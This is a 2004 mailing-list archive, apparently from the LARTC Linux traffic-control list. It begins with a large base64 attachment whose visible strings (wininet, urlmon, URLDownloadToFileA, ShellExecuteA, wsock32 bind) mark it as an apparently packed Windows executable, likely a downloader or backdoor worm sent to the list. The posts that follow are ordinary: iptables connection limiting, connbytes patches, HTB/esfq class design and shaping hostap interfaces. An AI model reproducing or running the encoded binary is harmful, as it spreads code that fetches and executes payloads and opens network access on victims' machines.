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
23UHix6D7vwR2xHJdSBBAdt1B4seg+78EdsRyQHbc+91CYseg+78Edtz5IPBAoH9APP//4PR
AY0UL4P9/HYPigJCiAdHSXX36WP///+QiwKDwgSJB4PHBIPpBHfxAc/pTP///16J97kCAAAA
igdHLOg8AXf3gD8AdfKLB4pfBGbB6AjBwBCGxCn4gOvoAfCJB4PHBYnY4tmNvgCwAACLBwnA
dDyLXwSNhDAA0AAAAfNQg8cI/5bc0AAAlYoHRwjAdNyJ+VdI8q5V/5bg0AAACcB0B4kDg8ME
6+H/luTQAABh6Vx+//8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAADThAADc4AAAAAAAAAAAAAAAAAAAQeEAAOzgAAAAAAAAAAAAAAAAAABO4QAA9OAAAAAA
AAAAAAAAAAAAAFjhAAD84AAAAAAAAAAAAAAAAAAAYuEAAAThAAAAAAAAAAAAAAAAAABu4QAA
DOEAAAAAAAAAAAAAAAAAAHrhAAAU4QAAAAAAAAAAAAAAAAAAheEAABzhAAAAAAAAAAAAAAAA
AACQ4QAAJOEAAAAAAAAAAAAAAAAAAJzhAAAs4QAAAAAAAAAAAAAAAAAAAAAAAAAAAACo4QAA
tuEAAMbhAAAAAAAA1OEAAAAAAADi4QAAAAAAAOzhAAAAAAAA+uEAAAAAAAAK4gAAAAAAABTi
AAAAAAAAKOIAAAAAAAA04gAAAAAAAEjiAAAAAAAAS0VSTkVMMzIuRExMAGFkdmFwaTMyLmRs
bABnZGkzMi5kbGwAb2xlMzIuZGxsAFNIRUxMMzIuZGxsAHNobHdhcGkuZGxsAHVybG1vbi5k
bGwAdXNlcjMyLmRsbAB3aW5pbmV0LmRsbAB3c29jazMyLmRsbAAAAExvYWRMaWJyYXJ5QQAA
R2V0UHJvY0FkZHJlc3MAAEV4aXRQcm9jZXNzAAAAUmVnQ2xvc2VLZXkAAABEZWxldGVEQwAA
Q29Jbml0aWFsaXplAABTaGVsbEV4ZWN1dGVBAAAAU3RyRHVwQQAAAFVSTERvd25sb2FkVG9G
aWxlQQAARHJhd1RleHRBAAAARmluZENsb3NlVXJsQ2FjaGUAAABiaW5kAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAIAAwAAACAAAIAOAAAAkAAAgAAAAAAAAAAAAAAAAAAAAgABAAAAQAAAgAIAAABoAACA
AAAAAAAAAAAAAAAAAAABAAAAAABYAAAA0PAAAOgCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AQAAAAAAgAAAALjzAAAoAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAQAAAKgAAIAAAAAA
AAAAAAAAAAAAAAEAAAAAAMAAAADg9AAAIgAAAAAAAAAAAAAAKAAAACAAAABAAAAAAQAEAAAA
AACAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAACAgIAA
wMDAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3d3d3d3d3d3
d3d3cARERERERERERERERERERHAE//////////////////RwBP/////////////////0cAT/
////////////////9HAE//////////////////RwBP/////////////////0cAT/////////
////////9HAE//////////////////RwBP/////////////////0cAT/////////////////
9HAE//////////////////RwBP/////////////////0cAT/////////////////9HAE////
//////////////RwBP/////////////////0cAT/////////////////9HAE////////////
//////RwBP/////////////////0cAT/////////////////9HAEiIiIiIiIiIiIiIiIiIRw
BEREREREREREREREREREcARMTExMTExMTExOzs5JdHAEzMzMzMzMzMzMzMzMzMQAAERERERE
RERERERERERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAP/////////////////////AAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAA
AAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAAB
gAAAAYAAAAPAAAAH////////////////KAAAABAAAAAgAAAAAQAEAAAAAADAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAACAgIAAwMDAAAAA/wAA/wAA
AP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAd3d3d3d3d3REREREREREdP///////4R0//
//////hHT///////+EdP///////4R0////////hHT///////+EdP///////4R0////////hH
SIiIiIiIiEdMzMzMzMzMR8RERERERETAAAAAAAAAAAAAAAAAAAAAAP//AACAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAA//8AAP//AAAAAAEA
AgAgIBAAAQAEAOgCAAABABAQEAABAAQAKAEAAAIACK+tXr9TIgtSnaEaTrsRuqtkPzt+PwZj
fFy7MhVnpJLFtw6DSX2Hh6Blo5IWD0UGb3qwoKGHNRADdWwSqlqnv1SPibY+RJIiNBKwFSh8
MmF3JW6iSzGZErtEJW61tS4VjcV6fhS/kEcylEWqAx4OZlM4xmZ2H3BnhwOPmj65gTyrfZk3
VqifrktHDRqai0WCER+vHRJiVh+CfGVbxQQBAGaXEE5OOrAoS2pUi3iUrZlCNrMKtjm7gleq
VrOXH2HGwIlmd1tzhIAdcjuwZy2MC2Q8l35eaE1ekRWyv0CUbEscugN1Y7Z1QI1gFHVSayMK
eRUkTHUerrZLZKAROIGudnoscxyZXK8oLMKYOxJos3c3mLWsWwwvEUmpdzwZJl1TdF4mF7dF
ZQ0BW40PLl+Or59tipCIFBO+poMqKTAfcbu2o61YxoIta2QJsm9TH5ZQEbw8hjAPpzoHHBfD
sZeIdBB0fxpTTm8JPHCdwRSXUwCNfGhpZ5N4jE8tOEsuh3USLj1rNgNvma8aaksTgbtGq6te
Hh83nj19WWsok0EKQHAaj34GAA61F6wiIEA8omJZTXUCZ4W0fECyT7DCFl4nTSaYx4TCpp6L
ZVIedym7BHebM7mBMYfGsG+nqnNTwZs9XnSOX7iHxUsrsbFaTENPXB3CloK9in4tUnUcesIH
tU2DabKwL06okje6UcaWXkRmNFZFkhRbZhVyET+TTX2JBBEbgkeKk1wkGnM4tRg1pm9qa3Ye
VVpKEjpeVyEiGmG4kyIbXFlPkMBEcnNcJxQZkwBPTDMHFI91v3YSjo9QvB0tdGGmDQcyG31G
s2Nwn5VkRz58X1WdpKUWxE2WPZa9DKFqsCNhMl15qQ5FV4yAXYK4njA9YqeQrVSzujEYuodM
TExjOwl6ahPFc284xUlEPIRuJENnayt3jTmslC0ecBpfimoLYHxMHyVUg3mJIIm0J2VQLCEZ
r5O4oKZEdBE6hzkuKVKzlZAhkKw+cryEDyyYnK2MZp8IpSGix5YHqKaMe8OVS6JRAkMCqom0
ocJHSTOLcnYAi6AwhkgHMEHHUi27Ek8NGMJhjHoNX7cqfoGZKZponGG3BCSkLR+EEHFqeETB
VYQXmh4ZLKuwZMSAPiSdlJEyJ2dEhhquC1elB7xhcyMVVF8Plz2HPHsZplwBjKBrLgmXYx5y
M13BdMFChrMDZJGJNxiol8AiuKhKxX2TjTsROiWie3EBsX6HoagCHoq5ea/CEoumJrxsNBN1
RwZ3RkYoskuEIj6MPbE=

----------qqaowtziwfeilnxiljdm--


From wingman@waika9.com  Mon Oct 25 15:59:34 2004
From: wingman@waika9.com (EC)
Date: Mon, 25 Oct 2004 16:59:34 +0200
Subject: [LARTC] Limit traffic that use to download a file
In-Reply-To: <417CDFD8.8070302@dsl.pipex.com>
Message-ID: <20041025145919.E014B235740@postfix4-2.free.fr>

>
>Rinto Exandy wrote:
>> Dear All,
>>
>> I want to limit traffic that use by my client to download files
>> directly from browser, I have already limit the traffic for the same
>> purpose to ftp connection. But I don't want to limit traffic that using
>for
>> browsing the web. Can I do this with IMQ/HTB or any other method to
>> make this happen.
>>
>
>There is a patch at www.netfilter.org called connbytes, you could use
>this to seperate big http downloads from the smaller ones.
This patch is considered experimental.

EC.


From George Alexandru Dragoi <waruiinu@gmail.com>  Mon Oct 25 16:12:47 2004
From: George Alexandru Dragoi <waruiinu@gmail.com> (George Alexandru Dragoi)
Date: Mon, 25 Oct 2004 18:12:47 +0300
Subject: [LARTC] limit number of TCP connections.
In-Reply-To: <200410251745.14135.rio@martin.mu>
References: <000f01c4ba58$a7df3c90$5c9cfea9@stillnicks>
 <200410251745.14135.rio@martin.mu>
Message-ID: <3063e5041025081257f6152f@mail.gmail.com>

iptables -I FORWARD -s 192.168.1.202 -p tcp --syn -m state --state NEW
-m limit --limit 50/s --limit-burst 100 -j ACCEPT
iptables -I FORWARD 2 -s 192.168.1.202 -p tcp --syn -m state --state NEW -j DROP

with udps things are a bit simmilar, except you dont need the --syn

On Mon, 25 Oct 2004 17:45:14 +0000, Rio Martin. <rio@martin.mu> wrote:
> On 25 October 2004 am 06:05, Cristiano Soares wrote:
> 
> 
> > Hi all. I have a simple question. Is that a way to limit the number os TCP
> > or UDP connection of a single HOST in my network? For exemple:
> >     I have a host with IP 192.168.1.202 and he is using edonkey, Kazaa, and
> > Bittorrent at the same time, and he also is infected by a virus that opens
> > more than 500 TCP ports at the same time. So, i want to limit that host to
> > be able to open no more then 30 TCP connections at once, so he wouldnt hurt
> > the other users.
> > Thanks in advance,
> > Cristiano Soares
> 
> 
> Try connlimit patches from Iptables POM
> www.netfilter.org
> 
> - Rio.Martin -
> _______________________________________________
> LARTC mailing list / LARTC@mailman.ds9a.nl
> http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
> 


-- 
Bla bla

From andy.furniss@dsl.pipex.com  Mon Oct 25 18:47:17 2004
From: andy.furniss@dsl.pipex.com (Andy Furniss)
Date: Mon, 25 Oct 2004 18:47:17 +0100
Subject: [LARTC] Limit traffic that use to download a file
In-Reply-To: <20041025145919.E014B235740@postfix4-2.free.fr>
References: <20041025145919.E014B235740@postfix4-2.free.fr>
Message-ID: <417D3C25.70002@dsl.pipex.com>

EC wrote:
>>Rinto Exandy wrote:
>>
>>>Dear All,
>>>
>>>I want to limit traffic that use by my client to download files
>>>directly from browser, I have already limit the traffic for the same
>>>purpose to ftp connection. But I don't want to limit traffic that using
>>
>>for
>>
>>>browsing the web. Can I do this with IMQ/HTB or any other method to
>>>make this happen.
>>>
>>
>>There is a patch at www.netfilter.org called connbytes, you could use
>>this to seperate big http downloads from the smaller ones.
> 
> This patch is considered experimental.

It seems OK for me (many months) on 2.4  - I haven't tried it on 2.6 yet.

If you want connbytes and connmark you need more than POM though.

Someone posted a patch to this list a while back that let you use both 
together.

Andy.




From chilek@chilan.com  Mon Oct 25 19:14:53 2004
From: chilek@chilan.com (Tomasz Chilinski)
Date: Mon, 25 Oct 2004 20:14:53 +0200
Subject: [LARTC] Limit traffic that use to download a file
In-Reply-To: <417D3C25.70002@dsl.pipex.com>
References: <20041025145919.E014B235740@postfix4-2.free.fr> <417D3C25.70002@dsl.pipex.com>
Message-ID: <20041025180701.M73282@chilan.com>

> It seems OK for me (many months) on 2.4  - I haven't tried it on 2.6 
> yet.

For me it is rock stable, too ;-).

> If you want connbytes and connmark you need more than POM though.
> 
> Someone posted a patch to this list a while back that let you use 
> both together.

Someone wants connbytes and connmark at the same time?
Here you have it again:
http://www.chilan.com/pom-ng-connmarkbytes.tar.bz2

> Andy.

--
Kind regards,
Tomasz Chilinski


From zytek@ostrow-wlkp.net  Mon Oct 25 20:05:38 2004
From: zytek@ostrow-wlkp.net (Jakub =?iso-8859-2?q?G=B3azik?=)
Date: Mon, 25 Oct 2004 21:05:38 +0200
Subject: [LARTC] tc philosophy, will this work?
Message-ID: <200410252105.38144.zytek-lists@ostrow-wlkp.net>

Correct me if I'm wrong, I just want to help my friend who needs a tc solut=
ion=20
with fairness to hosts on a 512K/s DSL line, but few of them should be=20
restricted to 64K/s

I thought about htb + esfq (sfq with ip based fairness, not connection)

parent class with CEIL=3D500Kbit (no RULE? see *1) and attached esfq to thi=
s=20
parent class, now
 child class with CEIL=3D64Kbit and RULE=3D10.0.0.1
 child class with CEIL=3D64Kbit and RULE=3D10.0.0.2
 child class with CEIL=3D64Kbit and RULE=3D10.0.0.N
 child class with CEIL=3D500Kbit and RULE=3D10.0.0.0/24

is this correct? or:

*1 maybe here I will need RULE=3D10.0.0.0/24 ?
so the traffic would be directed to the parent and then 64Kbit for each sha=
ped=20
host, and rest (with fairness) to other hosts in the subnet? or the traffic=
=20
would be shaped to 500Kbit and will never run thru child classes?

I would be thankful for any answer that would allow me to understand tc=20
philosophy better ;)

=2D-=20
=2E: Jakub G=B3azik (zytek)
=2E: email: zytek@ostrow-wlkp.net
=2E: JID: zytek@azazel.ostrow-wlkp.net

From db@wless.gr  Mon Oct 25 23:00:13 2004
From: db@wless.gr (Mpourtounis Dimitris)
Date: Tue, 26 Oct 2004 01:00:13 +0300
Subject: [LARTC] Virtual interfaces shaping
In-Reply-To: <20041013051149.26632.34662.Mailman@outpost.ds9a.nl>
References: <20041013051149.26632.34662.Mailman@outpost.ds9a.nl>
Message-ID: <1098741613.12658.18.camel@WLESS>

I am using hostap driver as an Access Point and want to shape on this
wireless interface.
The thing with hostap driver (and others i think) is that it creates new
virtual interfaces (wlanxxx) for every node that associates with it.

Lets say i want to limit all outgoing traffic on wlan0 at 512 Mbits.
The problem is that i cannot apply an htb configuration on wlan0,
beacause some traffic is handled by wlan0xxx. 
Is there any way i can "gather" traffic from all wlans interfaces, and
shape overall traffic to a limit???  


From gdamjan@mail.net.mk  Tue Oct 26 02:26:42 2004
From: gdamjan@mail.net.mk (Damjan)
Date: Tue, 26 Oct 2004 03:26:42 +0200
Subject: [LARTC] Virtual interfaces shaping
In-Reply-To: <1098741613.12658.18.camel@WLESS>
References: <20041013051149.26632.34662.Mailman@outpost.ds9a.nl> <1098741613.12658.18.camel@WLESS>
Message-ID: <20041026012642.GA4345@legolas.on.net.mk>

> Lets say i want to limit all outgoing traffic on wlan0 at 512 Mbits.
> The problem is that i cannot apply an htb configuration on wlan0,
> beacause some traffic is handled by wlan0xxx. 
> Is there any way i can "gather" traffic from all wlans interfaces, and
> shape overall traffic to a limit???  

You can with IMQ. 
